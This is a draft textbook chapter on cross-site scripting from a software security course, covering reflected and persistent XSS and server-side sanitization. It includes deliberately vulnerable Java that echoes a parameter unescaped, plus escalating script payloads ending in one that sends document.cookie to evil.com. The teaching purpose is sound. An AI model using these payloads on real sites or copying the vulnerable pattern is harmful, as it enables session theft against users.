Introduction to Software Security

Chapter 3.9.2: Cross Site Scripting Attacks (XSS)

Elisa Heymann
elisa@cs.wisc.edu

Barton P. Miller
bart@cs.wisc.edu

DRAFT — Revision 0.3, October 2023.

Objectives

- Understand the causes of cross site scripting attacks.
- Learn about the risks associated with cross site scripting.
- Learn about server-side remediations for cross site scripting.

Background

A cross site scripting attack can be thought of as yet another type of injection attack where the language is HTML and the language interpreter is your web browser. The goal of such an attack is to get your browser to execute HTML code that you did not intend it to execute. Such code may include a variety of HTML tags where the most dangerous is frequently the `<script>` tag, which allows Javascript code to be inserted into a web page.

If the web application (server) that generates the HTML does not carefully sanitize the text by neutralizing or preventing the presence of special characters such as "<" and ">", then you are at risk of receiving potentially dangerous HTML. Note that we are most dependent on the server protecting us from cross site scripting, so there is little that a user can do to prevent such attacks.

Persistent vs. Reflected Attacks

The attacker can deliver malicious HTML code to your browser in a couple of ways, *persistent* and *reflected*. In a persistent attack, the web application uses a database to maintain user provided information. In such an attack, a malicious user submits text that is stored in the database, where this text contacts dangerous HTML tags. When another user accesses the website and text from the database (and, therefore, from the malicious user) is included in the web page presented to them, the user's browser may be convinced to execute the malicious HTML.

In a reflected attack, the user clicks on a link that generates a web request that contains text with malicious Javascript, where that text gets included in the HTML returned by the application. Returning text from a web request in the HTML is "reflecting" the text from the application. Such reflection is a normal operation of a server. For example, if the user types their account name, for example "bart", into a web form and submits it, when the login is successful, you often see the message like "Welcome back bart" in the returned web page. The account name "bart" was reflected from the web request. This is a normal and common behavior, but one that can be subverted for malicious purposes.

Here are a couple of ways that a attack could occur:

> **User reviews:** A user can provide a review of, for example, a product or restaurant. That review is stored in the web application's database entries associated with the particular product or restaurant. When another user views the review, then they are presented with HTML that includes the first user's text. If a malicious user provides a review that contain text such as
>
> `<script>` *some dangerous stuff here* `</script>`
>
> And if the web application did not remote or neutralize the HTML tags in the text, then your browser would receive and likely execute the Javascript that the malicious user provided.
>
> **Social media postings:** Similar to user reviews, what one user posts on social media is intended to appear in the browser of other users. If a malicious user posts a message that contains HTML tags and the social media web application does not neutralize or remove the dangerous elements from the posting, then, again, your browser could execute dangerous malicious Javascript. Both Twitter[1] and Facebook[2] have been vulnerable to such attacks in the past.
>
> **Mail clients:** Modern email messages use HTML to provide text formatting and your email client is either the web browser itself or a client application program that has web browser functionality embedded within it. If the email server does not sanitize the text of the message, then your email client could be presented with malicious text. Such vulnerabilities have been in both gmail[3] and Office365[4].

The Evolution of a Cross Site Scripting Attack

We will now develop a XSS attack, starting with a simple unthreatening mechanism and developing it into one that could be used to build an exploit. We start by illustrating the simple act of reflection, adding to this example until we can show how we can use reflection to create a threat. We will then show an example of a XSS attack that could be triggered with either a reflected or persistent approach.

Suppose that your browser sends the following URL to a web server. This URL might be something that you explicitly typed, was embedded in another web page, generated from a web form, or generated from Javascript.

```
http://example.com?q=widget
```

This URL is a request to example.com and contains syntax that is often used to indicate that a parameter is accompanying the request. In this case, the parameter `q` has the value "`widget`". The web application might contain code that gets the value of parameter q and includes it in the resulting HTML page:

[1] https://www.darkreading.com/attacks-breaches/twitter-attack-an-xss-wake-up-call
[2] https://www.darkreading.com/risk/facebook-vulnerable-to-serious-xss-attack
[3] https://portswigger.net/daily-swig/gmail-xss-vulnerability-placed-under-the-microscope
[4] https://threatpost.com/details-on-patched-microsoft-office-365-xss-vulnerability-disclosed/103714/

```
• • •
String query = request.getParameter("q");
if (query != null) {
  out.writeln("You searched for:<br>" + query);
}
• • •
```

The HTML in the webpage produced by the request contains something like the following:

```
<html>
• • •
You searched for: <br>
widget
• • •
</html>
```

As we mentioned above, this is a simple mechanism and often used for legitimate purposes. However, it the URL sent to the server was something like:

```
http://example.com?q=<script>alert('Boo!')</script>
```

Then the resulting HTML would be something like:

```
<html>
• • •
You searched for: <br>
<script>alert('Boo!')</script>
• • •
</html>
```

Note that the URL contained Javascript and the web application reflected back unmodified into the resulting HTML. Here, the inserted Javascript is harmless, just creating a notification window with the phrase “Boo!” in it. However, the Javascript might be less innocent, such as in this case:

```
http://example.com?q=<script>alert(document.cookie)</script>
```

This Javascript code accesses values in the current web pages Document Object Model (DOM)[5]. The DOM includes lots of information about the web page including the layout of the web page, images contained within the page, and the cookies for the website that originated the page. In this case, we are creating a notification window that contains the cookie names and values associated with the current web page. Still, this, by itself, is not a problem. However, we can build an attack by changing the Javascript to something like:

[5] https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model

```
<script>
   image = new Image();
   image.src = 'http://evil.com?c='+document.cookie;
 </script>
```

This Javascript is similar in functionality to the HTML `<img>` tag. It instantiates a new image object and associates the source of the image with the provided URL. The result of this Javascript will be a URL that contacts the website `evil.com` and includes, as a parameter, all of the cookie names and values for the current website. Since cookies can contain valuable information, such as web session IDs, the attacker who created this Javascript has now caused us to exfiltrate valuable information.

Cross site scripting attacks can also access both the localStorage and sessionStorage[6] data associated with a window and stored in the browser. These stores are also common places to store things like session keys.

Defenses

From the user's perspective, defending against an XSS attack is challenging. An effective defense is to disable Javascript, eliminating the attacker's ability to cause the browser to execute malicious (or, for that matter, any) code. However, because Javascript is so widely used in websites, such a defensive action is usually overly conservative. It will prevent the user from accessing critical functionality on many (if not most) of their legitimate websites.

More commonly, the defensive burden lies on the authors of the web application. The application must ensure that any user data from a web request or stored in a database is properly sanitized to eliminate the possibility of injecting executable code into the HTML. Such sanitizing could be as simple as accepting only alphanumeric characters in the text (an allow list approach) or rejecting selected special characters such as the "<" and ">" (a block list approach).

Summary

In this chapter, we covered the basic concepts and mechanisms related to cross site scripting attacks. We discussed how an XSS attack could be considered to be a type of injection attack and the various ways that such an attack could occur. We then showed the mechanisms behind such an attack and an example. We finished by talking about defenses against such attacks.

Exercises

1. In this chapter, we mentioned some major websites that have been vulnerable to XSS attacks. Choose one of these attacks and research the details. Try to find enough information that you can understand how the attacker conducted the attack and what they were trying to accomplish.
2. Explore the web Document Object Model (DOM) to better understand what kind of information might be extracted from a web page. State with `document.cookie` as shown in the example in this chapter, then move on to other elements of the `Document` interface.

[6] https://www.w3schools.com/html/html5_webstorage.asp

3. Explore browser localStorage and sessionStorage to better understand how to access this information. Investigate your favorite web framework to see how it uses these stores. You might investigate Django[7], Ruby on Rails[8], Vue.js[9], or Angular[10] (among others).
4. Try out the techniques presented in this chapter using the exercise based on our virtual machine image. Note that you will need the Virtual Box virtual machine system and an x86-based processor.

   https://research.cs.wisc.edu/mist/SoftwareSecurityCourse/Exercises/3.9.2_Web%20Attacks_XSS_Exercise.html

[7] https://www.djangoproject.com/
[8] https://rubyonrails.org/
[9] https://vuejs.org/
[10] https://angular.io/